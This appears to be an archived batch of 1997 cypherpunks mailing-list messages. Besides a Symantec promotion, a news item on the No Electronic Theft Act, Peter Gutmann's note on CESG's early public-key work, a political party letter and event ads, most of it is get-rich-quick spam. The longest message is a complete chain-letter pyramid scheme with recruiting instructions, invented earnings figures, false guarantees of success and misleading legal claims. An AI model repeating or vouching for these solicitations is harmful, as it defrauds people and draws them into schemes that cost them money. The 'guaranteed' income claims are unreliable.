Envelopes Come To You Already Stamped And Addressed.

     This easy work is advertised by over thirty- five companies. But
they require that you pay $25.00 to $45.00 to register in their
program. And then the program seldom turns out to be what you'd
expect.

     That's where my book can help out. I describe the three kinds of
mail programs that pay one dollar per envelope. But there is only ONE
that I recommend. Not only is it more profitable overall, but you
don't have to pay any fee to do it. Not even a dollar. Read about "The
World's Best Dollar- Per- Envelope Program" in Chapter 4.

How To Avoid Disappointment

     So many worthless offers are commonly advertised that many
people give up before they come across a good one. That won't happen
to you when you have my book.

     It tells you exactly how to recognize and avoid worthless
offers. The most common ripoffs are covered in detail. This knowledge
 can save you a great deal of time and money.

     You can then take advantage of the many practical, down- to-
earth opportunities that are described. Ones that enable you to start
making money fast. Even just one extra source of income can make a big
difference in your standard of living.

Start To Earn Money In 48 Hours

     When you get the book, look over the many excellent
opportunities. Each listing includes a brief description of what is
offered. Write to the companies you like and request an application
form. They have openings right now, and they'll be happy to get you
started.

     You can begin to make money even faster if you choose one of the
programs or plans that the book describes in detail. I'll tell you
everything you need to know to get started. By taking a few simple
steps, you can already be making money just 48 hours after you receive
the book.

Unlimited No Nonsense Guarantee

    "Real Home Income" costs just $29.95 plus $3.00 for postage and
handling. I'm so confident you can make the money I've talked about
that I back it with a lifetime, money- back guarantee. If at any time
you feel the book has not helped you make all the money you want, just
send it back. I'll promptly send you a full refund of everything you
paid, including postage and tax.

     Start to enjoy more income and a better life as soon as
possible. Please complete the order form and mail it today.
Everything will be rushed to you by first class mail.


                                                           Sincerely,
                                                           Henry Summers

     P.S. I've recently discovered an amazingly profitable
            opportunity. One person I talked to made $20,000 in his
            first six weeks... working right at home in his spare
            time. It is not multi- level marketing. I've never seen
            anything like it before. I'l give you a toll free number
            to call so you can get started.



                          Please Print and Mail This Order Form to: 
cut here
-------------------------------------------------------------------------------------------------
ADVANCED NETWORK PROMOTIONS                           # 305   
P.O. Box 712102  
Santee, CA 92072- 2102                             

                      ( ) Yes, I would like to get started. Please rush me                       
                          "Real Home Income" under your lifetime money-
                           back guarantee. Enclosed is $29.95 plus $3.00 for
                           postage and handling.*  $32.95 total. (If you live in
                           California, please send $34.95)                             

          *Checks may be made payable to Advanced Network Promotions

Name____________________________________________ 


Address___________________________________________                              


City, State, Zip_____________________________________    
                                                 Internal Code [E21SB(w)1215]
-------------------------------------------------------------------------------------------------
cut here












































































































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: broadcast@SYMANTEC.COM
Date: Thu, 18 Dec 1997 00:01:10 -0800 (PST)
To: Multiple recipients of list DIRECT9-L             <DIRECT9-L@lserver.symantec.com>
Subject: A Special Holiday Offer from Symantec!
Message-ID: <199712162252.OAA09856@lserver.symantec.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Symantec Customer,

We wanted to let you know about a special offer on our NEW Norton
Utilities(TM) 3.0 for Windows(R) 95. For a limited time, we would like
to offer you this unrivaled problem-solving software for only
$49.95-that's $30 off the Estimated Retail Price of $79.95! Simply call
1-800-631-8119 and mention Priority Code W386 to order your copy today.
You'll even get FREE shipping and handling--- a savings of $9.95!

By installing Norton Utilities 3.0 for Windows(R) 95, you can have more
power and control over your computing environment! With new features
like these, Norton Utilities 3.0 can give you the broadest, most
thorough problem detection you'll find anywhere:

- Unrivaled PROBLEM-SOLVING capabilities
- New Optimization Tools to SPEED UP your PC
- The industry's most TRUSTED disaster recovery tools
- And dozens of NEW and IMPROVED features that can enhance performance
  and prevent disasters!

You have nothing to lose, except your data, so we hope you take
advantage of this great offer today to experience the new benefits of
Norton Utilities 3.0 and ensure the safety of your computing
environment tomorrow. And don't forget, when you order today, you'll
also get FREE shipping and handling! Make sure to mention Priority Code
W386 when you call 1-800-631-8119! You can also purchase Norton
Utilities 3.0 for Windows 95 at your local computer software reseller
between December 15, 1997 and December 31, 1997 and use this letter to
receive a $30 mail-in rebate off the Purchase Price. Simply attach your
valid sales receipt and the original UPC symbol to this letter, along
with your name, address, phone number and signature, then mail it to:
Symantec Rebate Center, Attn: Norton Utilities 3.0 Rebate Offer, P.O.
Box 52907, Dept. 12604, Phoenix, AZ, 85072-2907.


Wishing you a productive holiday season!

Sincerely,
All of us at Symantec

P.S. If for any reason you're not completely satisfied with Norton
Utilities, simply return it within 60 days for a full refund.

Terms and Conditions: 1. Limit one rebate or special offer direct
purchase per name, address, household or company. Rebate offer is valid
only for standalone, full version purchases of Norton Utilities 3.0 for
Windows 95 between December 15, 1997 and December 31, 1997 in the U.S.
only. Offer not available with site licenses, NFRs, OEM, 10 packs,
upgrade offers or academic offers. Offer not available to resellers. No
special pricing will qualify. Offer not valid with any other Symantec
offer. Rebate request must be postmarked by January 31, 1998. 2. As
proof of purchase please include the following: a. Original print-out
of this letter with your name, address, phone number and signature,
facsimiles and Xerox copies will not be accepted, b. original UPC bar
code from product purchased (found on box), c. original or copy of
dated sales receipt. Your receipt/bill of sale must be either
typewritten or computer-generated. Handwritten or altered documents
will not be accepted. 3. Any request forms lost or misdirect

To check the status on your rebate submission, please call the Rebate
Status Hotline: 1-800-494-8825. Allow 8 to 10 weeks for delivery. Valid
only in the U.S.

Symantec reserves the right to modify or withdraw this promotion at any time.

System Requirements: IBM PC or 100% compatible; Windows 95 or later
(this product will not run under DOS, Windows 3.x or Windows NT); 80486
or higher; 8 MB RAM required (16 MB recommended); 45 MB hard disk space
for typical installation; 35 MB hard disk space for compact
installation; Double-speed or higher CD-ROM drive; Sound card optional;
256-color VGA or better video.

Offer valid in U.S. only and expires December 31, 1997. Offer not valid
with any other promotion, rebate or special offer. Symantec reserves
the right to modify or withdraw this promotion at any time. Allow 2-3
weeks for delivery.

Symantec, the Symantec logo and Norton Utilities are U.S. registered
trademarks of Symantec Corporation. Windows is a registered trademark
of Microsoft Corporation. Other brands and products are trademarks of
their respective holder(s). Copyright 1997 Symantec Corporation. All
rights reserved.

You have received this message because you downloaded a trial version
of Symantec software. At the time, you expressed an interest in
receiving current information on Symantec products as it became
available.

DO NOT REPLY TO THIS MESSAGE. This email account is for sending
messages only. It is not monitored and no replies will be made to any
messages sent to this account. If you require Customer Service or
Technical Support, please check the Symantec web site for contact
information.

To be removed from this broadcast email list, please visit
http://www.symantec.com/help/subscribe.html and unsubscribe from
"Electronic Bulletin Subscriptions".




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NuYenta <Promo@NuYenta.com>
Date: Tue, 16 Dec 1997 19:48:24 -0800 (PST)
Subject: http://www.nuyenta.com
Message-ID: <199712170345.WAA16976@advn.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend,

NuYenta (www.nuyenta.com) is an online service designed to provide
traditional Jewish matchmaking to the Gay, Lesbian, Bisexual and
Transgender friends and members of the world-wide Jewish community. As a
guest you can look for a match and get your own profile... and it's FREE!

At NuYenta members and guests begin to know about each other by matching
profiles. You can even include a photograph of yourself. NuYenta provides
you with anonymous email and chat rooms for contacting other members and
guests. We even have a bookstore specializing in books specifically written
for the Gay, Lesbian, Bisexual and Transgender friends and members of the
Jewish community.

If you are looking for that special someone or would like to make some new
friends then visit NuYenta. As a guest you can look for a match and get
your own profile... and it's FREE!

Visit NuYenta at http://www.nuyenta.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 17 Dec 1997 15:24:08 -0800 (PST)
To: (Recipient list suppressed)
Subject: No Subject
Message-ID: <3.0.5.32.19971217152405.007e38c0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain





You will note that you are reading prima facie evidence of violation of
this new law.


Wednesday December 17 11:58 AM EST 

New Law Crack Down on Internet Theft

WASHINGTON (Reuters) - President Clinton signed into law on Tuesday a
controversial bill imposing criminal penalties on
copyright violators even if they do not profit from their actions, the
White House executive clerk's office said Wednesday. 

The No Electronic Theft Act, passed by Congress last month, was strongly
backed by the software and entertainment
industries but opposed by science and academic groups. 

Under the law, a person who "willfully" infringes on copyrighted material
worth at least $1,000 could be subject to criminal
prosecution even if he does not make money. 

Under current law, copyright violators cannot be charged with criminal
misconduct unless they profit from the violations. 

Software and entertainment groups, including the Business Software
Alliance, the Motion Picture Association and the
Association of American Publishers, said the change was essential to
protect software, music recordings and other creative
products easily pirated over the Internet. 

They cited a 1994 court case dismissing criminal copyright charges against
an Massachusetts Institute of Technology student
who posted on the Internet for free downloading copies of popular software
programs. 

But last month a leading group of scientists, the Association for
Computing, wrote to Clinton asking him to veto the bill
because it might inadvertently criminalize many scientific publications
available over the Internet, and might limit the "fair use"
doctrine. 

The new law includes a sliding scale of penalties depending on the severity
of the copyright infringement. 

For making one or more copies with a total retail value of at least $1,000
but less than $2,500, the violator could be imprisoned
for up to one year and fined up to $100,000. 

For copies with a retail value of $2,500 or more, the violator could
imprisoned for up to three years and fined up to $250,000.
A second offense could lead to a prison term of up to six years. 

------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 16 Dec 1997 18:27:08 -0800 (PST)
To: cryptography@c2.net
Subject: UK spooks invent RSA, DH in 1973
Message-ID: <88232561207378@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
claims that UK spooks invented both RSA and DH in 1973 and 1974 respectively.
The summary info is:

>This paper by James Ellis was written in 1987. It was commissioned shortly 
>after his retirement to provide a first-hand historical account of the early 
>work by James and others in CESG, discovering the techniques that were later 
>to become known as Public Key Cryptography. Although there would have been
>some academic interest in the paper back in 1987, it was decided on balance 
>to keep the record internal and accordingly the paper was given a low
>classification and retained within CESG. 
>
>Since 1987 there have been three aspects which have created enormous changes 
>for CESG. First, the growth in the need for secure communications for 
>confidentiality and authentication has vastly increased key management 
>requirements. Second, the increase in processing speed has enabled large 
>arithmetical computations to be practicable. Third, the 1994 RPS gave CESG 
>responsibility for the communications security of the entire UK government 
>market. PKC is now seen as the best if not the only method for allowing wide 
>area many-user secure communications. With this increase in CESG's external 
>visibility there has been a growing desire for greater openness.
>
>During the past 11 years there had been no urgency to publish the paper, but 
>the necessary spark came when Clifford Cocks solved an important problem that 
>had been highlighted at a recent 'RSA' conference. Cliff is presenting this 
>solution in a paper at the IMA Conference on Cryptography and Coding in
>Cirencester. Since he was one of the main contributors to our early work it 
>was clearly the right opportunity to set the record straight. As the paper 
>was being prepared for publication we heard that James had become very ill. 
>He died before the paper was published. We now publish it as a testament to 
>his imaginative and ground-breaking work.

(The paper was mentioned on a UK crypto list, but I've lost the original 
 reference).

Peter.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fred35@hexagon.net
Date: Thu, 18 Dec 1997 00:18:03 -0800 (PST)
To: user@cpuuser.com
Subject: Computer Show Invitation Oakland 1290B
Message-ID: <1290B>
MIME-Version: 1.0
Content-Type: text/plain


+++++++++++++++++++++++++++++++++++++++++ 1290 B   ++++++++++
Reply with REM0VE in the subject if you do not wish to receive tickets for future shows.
+++++++++++++++++++++++++++++++++++++++++ 1290 B   ++++++++++

Dear Computer User

Come to THIS show and SAVE when you SHOP FOR CHRISTMAS ! ! !

Hello. My name is Fred Hansen of the Robert Austin Computer Show Corporation. I would like to extend to you a personal invitation to come to the San Francisco Bay Area to attend the Computer Show at the OAKLAND CONVENTION CENTER in Oakland CA. Saturday Dec. 20, 1997. The show hours are 10:00 AM to 4:00 PM There is NO CHARGE FOR ADMISSION. This show is THE place to find the latest equipment and information for COMPUTER USE and the INTERNET. It is Northern California's largest Computer Show with wholesale prices available to the public.

The perfect LOW COST place to shop for CHRISTMAS ! ! !

++++++++++++++++++++++++++++++++++++++++++++++++++++1290 B   ++++

Approximately 50 computer dealers and manufacturers assemble at this facility to present their products to you. These vendors compete with each other to bring you the very latest technology and selection at the lowest possible prices. Seminars are held by major INTERNET SERVICE PROVIDERS to answer questions for you. If you are interested in PURCHASING COMPUTER EQUIPMENT or accessing the INTERNET you should attend this show and see for yourself. 

For show information on the web Visit us at http://www.robertaustin.com 
Bookmark this site to get up to the minute show information and directions.

Email me back (mailto: fred35@hexagon.net) and let me know what you think after you see the show. I am looking for your input regarding seminar topics and other items you would like to see in future shows. If you have questions please visit our web site at http://www.robertaustin.com 

++++++++++++++++++++++++++++++++++++++++++++++++++++1290 B   ++++

Please make as many copies of this ticket as needed and 
BRING YOUR FRIENDS to the show with copies of this ticket.

++++++++++++++++++++++++++++++++++++++++++++++++++++1290 B   ++++

Fill this ticket out and bring it for your PRE REGISTERED admission. It can be used for either of the following two COMPUTER SHOWS. No further registration is required.

OAKLAND CONVENTION CENTER
10th and Broadway, Down Town Oakland in the Beautiful Marriott Hotel
Dec. 20, 1997
Jan. 17, 1998

COW PALACE
Geneva and Santos in Daly City
Jan. 10, 1997  Lower Level enter Gate 5
Feb. 14, 1998  Lower Level enter Gate 5

				(Ticket Below)
Cut Ticket Here>= = = = = = = = = = = = = = = = = = = = = = 

Name__________________________________________________

Address ________________________________________________

City ________________________ State _______ Zip ___________

Telephone ______________________________________________

Email address ___________________________________________

Age ___ Sex ___ Annual household income _____k$

Do you own a computer Y/N ____

Business use Y/N ___  Home use Y/N ____

Are you satisfied with your Internet service Y/N __

				(Ticket Above)
Cut Ticket Here>= = = = = = = = = = = = = = = = = = = = = = 

++++++++  Special Show Features  +++++++++++++++++++++++++++1290 B   ++++

TRADESPACE
To save 20% to 50% on your Holiday PC Purchases check the values found at:
http://www.tradespace.com/rasindex.html
Come to the show and meet the Show Co-Sponsor TradeSpace Inc. 
We recommend that you check the values at this web site so you
are prepared to shop and compare at the show. Visit and bookmark this site.!!!!!!!!!

LASER POINTERS
Special introduction a this show. The PERFECT HIGH TECH CHRISTMAS GIFT
for the technical person in your life. Preview them at:
http://www.calpaclab.com/compushow

+++++++++ WHAT YOU WILL SEE ++++++++++++++++++++++++ 1290 B   ++++

BUSINESS COMPUTER AND INTERNET USE
If you use the computer or Internet at your company this is the 
place to learn about them and buy.

DON'T PAY RETAIL PRICES FOR YOUR COMPUTER NEEDS.
FABULOUS PRICES--- 40 Companies all bringing their best 
selection of merchandise and selling at rock bottom prices. 
DON'T MISS THE BARGAINS. NO LOWER COMPUTER 
PRICES IN THE BAY AREA. Wholesale to 
the public. Save up to 90% on new name brand equipment.

HARDWARE Huge selection of computer systems, and 
accessories sold at rock bottom prices

SOFTWARE  You will not find a better selection of computer software
including CD ROM's anywhere, being sold at prices that you must see to believe.

BOOKS FOR COMPUTER AND INTERNET Webster books is bringing the
largest selection ever of computer and Internet Books to the show. Over 10,000
volumes are being sold at wholesale prices (20% off list)

HUGE SELECTION --- 40 Companies bring their best selection 
of products and latest technology for you to see.

BAY AREAS LARGEST COMPUTER SHOW

FREE INTERNET SEMINARS -- These seminars will provide you with the latest
information on Internet topics. Come and talk face to face with the technical people
from the Bay Areas Premiere Internet Service Providers. 

EXPERT ASSISTANCE -- Are you tired of purchasing products from stores with
clerks that have no product knowledge. Each of the vendors has personal knowledge of
their products for immediate answers to your questions.

SPECIAL CUTTING EDGE TECHNOLOGY product introductions. 
You will see manufacturers representatives introducing the latest of their products,
computers, & lasers, home entertainment.

+++++++++++  SEMINAR SCHEDULE +++++++++++++++ 1290 B   ++++++++++

10:30	Beginners Internet. - Everything you need to know to get started on the Internet.

11:30	Web Authoring.-How to build a web site using Microsoft Front Page 97. 
	See live demos of web pages being built before your eyes.

12:30	Business Internet Use - Connecting your business to the Internet, ISDN, T1, 
	Dedicated and dial up access, Connecting your office network to the Internet, 
	Multiple Internet E-mail Accounts.

  1:30 E-Commerce "Secure Financial Transactions"

  2:30	Web Authoring.-How to build a web site using Microsoft Front Page 97. 
	See live demos of web pages being built before your eyes.

These seminars are presented for the computer show attendee
at NO CHARGE. Join the Internet revolution. Attend to learn how.

Looking forward to seeing you.
Best Regards 
(mailto:fred35@hexagon.net)
Fred Hansen

++++++++++++++++++++++++++++++++++++++++++++++++++++ 1290 B   ++++







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: net789@goplay.com
Date: Thu, 18 Dec 1997 00:02:45 -0800 (PST)
To: subscribers@your.net
Subject: We Do All The Work And You Collect All The Cash
Message-ID: <73447V9128M@mail.san.rr.com>
MIME-Version: 1.0
Content-Type: text/plain


If you're NOT currently looking for an income opportunity, then just 
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Mailing #2:       250,000 People
Mailing #3:       250,000 People
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#1:            
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PO Box 271
Woodstock, GA 30188-0271

#2:
Tobias Enterprises
PO Box 1134
Broomfield, CO 80038

#3:
C. Heier
815 Franklin Ave.
Ellenton, FL 34222

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Las Vegas, NV 89119
 		 
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POSSIBLE EARNINGS PER 750,000 E-MAILS

1%      Response @  7,500 X $5.00 = $37,500
1/2%    Response @  3,750 X $5.00 = $18,750
1/4%    Response @  1,875 X $5.00 = $ 9,375
1/8%    Response @    938 X $5.00 = $ 4,690

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FREE WEBSITE:

Would you like to create your own website for business or personal use?

Just go to www.freeyellow.com and follow the prompts.

































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: GetFOD@1-703-736-1600Doc825
Date: Wed, 17 Dec 1997 22:28:51 -0800 (PST)
To: WiseFolks@UwiseFolk.com
Subject: - POWERFUL HOME BASED MONEY MAKER -
Message-ID: <93110376_10798818>
MIME-Version: 1.0
Content-Type: text/plain



                  *********************************

THIS IS IT!!!

THE EASIEST HANDS OFF OPPORTUNITY AVAILABLE TODAY. Absolutely NO
recruiting or selling involved. This is the most powerful money 
producer available anywhere, WITH A FULL 90 DAY MONEY BACK 
GUARANTEE. Check it out !!!

You Won't Have To Worry About Money Ever Again!! Take 2 Minutes
To Find Out!!! Call Toll Free 1-888-248-1794 or (888) 693-5490.

FOD 703-736-1600 Document 825

P.S. Hold on to your email. You'll need this control number (CO0661EM)

PLEASE READ MY UPLINE'S TESTOMONIAL

*******************
Dear Friends: For the past 2 years, I've put countless hours into
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Prosperous regards,
LSG
*************

Sincerely
Corky
Control # CO0661EM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Wed, 17 Dec 1997 18:38:01 -0800 (PST)
To: (Recipient list suppressed)
Subject: Christmas greetings from Pauline Hanson
Message-ID: <1.5.4.16.19971218115821.2c9f5370@mail.pronet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


Dear Pauline Hanson's One Nation Supporter in NSW,

1997 has been an eventful year in Australian politics.

1997 will be remembered as the year when Australians at last said that they
had had enough.

Enough of the lies and deception churned out by the major political parties.

1997 will be remembered as the year that Pauline Hanson's One Nation grew
from a fledgling party launched in April to a major political force with a
branch network of over 200 branches.

A quite remarkable achievement. An achievement which could not have been
realised without the dedication and commitment of national director David
Ettridge and his Manly office team.

1997 will be remembered as a year of intimidation. Intimidation by
well-organised protesters with strong links to the Australian Labor Party.

The violence of these protesters against the Australian way of life - giving
everyone a 
'fair-go' and the media's blatantly biased reporting against One Nation
failed to destroy the will and desire of the people to support me.

1997 will be remembered as the year in which a few tried to cause a split in
the One Nation party. 

They knew that the media would report anything negative about the party. And
they did. No matter that in all cases it was just a handful of troublemakers
who tried to hijack the party for their own political gain.

They failed. 

Today One Nation is more than just a phenomenon it is a real living party.
It is made up of people like you and me. It is part of the political fabric
in Australia.

Looking ahead we will face many challenges together. We must continue to
fight for equality for all Australians. We must continue to fight to protect
our country from becoming a slave to the multinationals and international
bodies. 

During this Christmas break we all have the opportunity to look back and see
what we have achieved and to look forward to see what has still got to be
done in the coming years.

I wish you and your family all the best over Christmas and the New Year. God
bless and may all your dreams come true.


Pauline Hanson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sammy@mci2000.com (Reduce Taxes and Protect Assets)
Date: Thu, 18 Dec 1997 10:49:12 -0800 (PST)
To: sammy@mci2000.com
Subject: Home Business:  $10 K/mth:  No Selling:No MLM!!
Message-ID: <199712182515AAA8221@post.mci2000.com>
MIME-Version: 1.0
Content-Type: text/plain


 ============================================================
Our research indicates that the following information is of interest to you.  
If you prefer not to be on this mailing list please hit "reply" , enter "remove and (your full email address)" as the subject and we will promptly remove you.  Thank you...
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 31911738@nathanhoward.com
Date: Fri, 19 Dec 1997 00:40:51 -0800 (PST)
To: businesses@aol.com
Subject: $$ AUTOMATIC MONEY MACHINE$$
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


THE MOST POWERFUL HOME BASED MONEY MAKER IN THE WORLD! 

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No Loss, Written Guarantee On Opportunity And Profit.

2 Minute Recording

1-888-693-5490

REFERENCE NUMBER:  TO8544





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: qqww22@oo.net
Date: Fri, 19 Dec 1997 00:43:33 -0800 (PST)
Subject: Christmas left me low on cash!!
Message-ID: <eaep.3.0.reg.Den9TJ.35783.0284887731@mail.rain.org>
MIME-Version: 1.0
Content-Type: text/plain



Hello my name is Denette,

PRINT this letter, read the directions, THEN READ IT AGAIN !!!

The company I was working for just went out of business and I've been looking for a job.  I always 
used to delete unsolicited e-mail advertisements before I finished reading them.  I received what I 
assumed was this same e-mail countless times and deleted it each time.

Recently I received it again and thought , "OK, I give in, I'm going to try this, I need the money.  I 
can certainly afford to invest $20 and, on the other hand, there's nothing wrong with creating a little 
excess cash."  I promptly mailed four $5 bills and after receiving the reports, paid a friend of mine a 
small fee to send out some e-mail advertisements for me.  After reading the reports, I also learned 
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If I can do this, so can you!

                       GO FOR IT NOW!!

The following is a copy of the e-mail I read:

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

This is a LEGAL, MONEY-MAKING PHENOMENON.
PRINT this letter, read the directions, THEN READ IT AGAIN !!!

You are about to embark on the most profitable and unique program you may ever see.  Many times 
over, it has demonstrated and proven its ability to generate large amounts of cash.  This program is 
showing fantastic appeal with a huge and ever-growing on-line population desirous of additional 
income.

This is a legitimate, LEGAL, money-making opportunity.  It does not require you to come in contact 
with people, do any hard work, and best of all, you never have to leave the house, except to get 
the mail and go to the bank!  

This truly is that lucky break you've been waiting for!  Simply follow the easy instructions in this letter, 
and your financial dreams will come true! When followed correctly, this electronic, multi-level 
marketing program works perfectly...100% EVERY TIME! 

Thousands of people have used this program to:
    -  Raise capital to start their own business
    -  Pay off debts
    -  Buy homes, cars, etc., 
    -  Even retire! 

This is your chance, so don't pass it up!

----------------------------------------------------------------------------------
OVERVIEW OF THIS EXTRAORDINARY 
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
----------------------------------------------------------------------------------

Basically, this is what we do:

We send thousands of people a product for $5.00 that costs next to nothing to produce and e-mail. 
As with all multi-level businesses, we build our business by recruiting new partners and selling our 
products.  Every state in the U.S. allows you to recruit new multi- level business online (via your 
computer).

The products in this program are a series of four business and financial reports costing $5.00 each.  
Each order you receive via "snail mail" will include:

  * $5.00 cash
  * The name and number of the report they are ordering
  * The e-mail address where you will e-mail them the report they ordered.

To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!  The $5.00 is yours!  This 
is the EASIEST electronic multi-level marketing business anywhere! 

FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!

******* I  N  S  T  R  U  C  T  I  O  N  S *******

This is what you MUST do:

1. Order all 4 reports shown on the list below (you can't sell them if you don't order them).
     
     *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
        REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
        RETURN POSTAL ADDRESS (in case of a problem) to the person whose 
        name appears on the list next to the report.
  
     *  When you place your order, make sure you order each of the four
        reports.  You will need all four reports so that you can save them
        on your computer and resell them.

     *  Within a few days you will receive, via e-mail, each of the four reports. 
         Save them on your computer so they will be accessible for you to send 
         to the 1,000's of people who will order them from you.

2.  IMPORTANT-- DO NOT alter the names of the people who are listed next 
     to each report, or their sequence on the list, in any way other than is
     instructed below in steps "a" through "d" or you will lose out on the
     majority of your profits.  Once you  understand the way this works, you'll 
     also see how it doesn't work if you change it.  Remember, this method 
     has been tested, and if you alter it, it will not work.

    a.  Look below for the listing of available reports.

    b.  After you've ordered the four reports, replace the name and address 
         under REPORT #1 with your name and address, moving the one that 
         was there down to REPORT #2.  

    c.  Move the name and address that was under REPORT #2 down to 
         REPORT #3.  

    d.  Move the name and address that was under REPORT #3 down to 
         REPORT #4.  

    e.  The name and address that was under REPORT #4 is removed from
         the list and has NO DOUBT collected their 50 grand.

Please make sure you copy everyone's name and address ACCURATELY!!!

3.  Take this entire letter, including the modified list of names, and save 
     it to your computer.  Make NO changes to the instruction portion of this 
     letter.
  
4.  Now you're ready to start an advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     and there are HUNDREDS of FREE places to advertise. Another
     avenue which you could use for advertising is e-mail lists.  
     You can buy these lists for under $20/2,000 addresses or you
     can pay someone a minimal charge to take care of it for you. 
     BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5.  For every $5.00 you receive, all you must do is e-mail them the report
     they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
     ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
     with YOUR name and address on it, will be prompt because they can't
     advertise until they receive the report!

------------------------------------------
AVAILABLE REPORTS
------------------------------------------
***Order Each REPORT by NUMBER and NAME***

Notes:
-  ALWAYS SEND $5 CASH FOR EACH REPORT 
-  ALWAYS SEND YOUR ORDER VIA FIRST CLASS  MAIL 
-  Make sure the cash is concealed by wrapping it in at least two sheets of paper  
-  On one of those sheets of paper, include: (a) the number & name of the report you are ordering, (b) 
your e-mail address, and (c) your postal address.
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

ORDER REPORT #1 FROM:  
	VTM Services
	P.O. Box 3691
	Ventura, CA 93006
___________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:
 	KL Marketing
            5225 Blakeslee Ave. Ste. 149
            North Hollywood, CA 91601
_________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
 	AIK
            10629 Woodbridge Ave. Ste. 104
            Toluca Lake, CA 91602
_________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:
 	RCC Enterprises
            24303 Woolsey Cyn. #1
            West Hills, CA 91304      
_________________________________________________________________
--------------------------------------------------------------------------------------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
--------------------------------------------------------------------------------------------------

Let's say you decide to start small just to see how well it works. Assume your goal is to get 10 people 
to participate on your first level. (Placing a lot of FREE ads on the internet will EASILY get a larger 
response.) Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline 
members.  Follow this example to achieve the STAGGERING results below.

1st level--your 10 members with $5...........................................$50
2nd level--10 members from those 10 ($5 x 100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS        ----------->$55,550

Remember friends, this assumes that the people who participate only recruit 10 people each.  Think 
for a moment what would happen if they got 20 people to participate!  Most people get 100's of 
participants! THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can afford $20). You obviously 
already have an internet connection and e-mail is FREE!!! REPORT#3 shows you the most 
productive methods for bulk e-mailing and purchasing e-mail lists.  Some list & bulk e-mail vendors 
even work on trade!

About 50,000 new people get online every month!

*******TIPS FOR SUCCESS*******

 *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
     the directions accurately.

 *  Send for the four reports IMMEDIATELY so you will have them when 
    the orders start coming in because:

When you receive a $5 order, you MUST send out the requested product/report to comply with the 
U.S. Postal & Lottery Laws, Title 18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S. 
Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or 
service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program. If you follow the 
    instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

*******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue advertising until you 
do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you 
don't, continue advertising until you do.  Once you have received 100 or more orders for REPORT 
#2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to 
roll in!

THIS IS IMPORTANT TO REMEMBER:

Every time your name is moved down on the list, you are placed in front of a DIFFERENT report.  
You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you.  
If you want to generate more income, send another batch of e-mails and start the whole process 
again!  There is no limit to the income you will generate from this business!

NOTE:  If you need help with starting a business, registering a business name, how income tax is 
handled, etc., contact your local office of the Small Business Administration (a Federal agency) for 
free help and answers to questions. Also, the Internal Revenue Service offers free help via 
telephone and free seminars about business taxes.

*******T  E  S  T  I  M  O  N  I  A  L  S*******

     This program does work, but you must follow it EXACTLY!  Especially the rule of not trying to 
place your name in a different position, it won't work and you'll lose a lot of potential income.  I'm 
living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost 
to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to 
financial security. 
          Sean McLaughlin, Jackson, MS

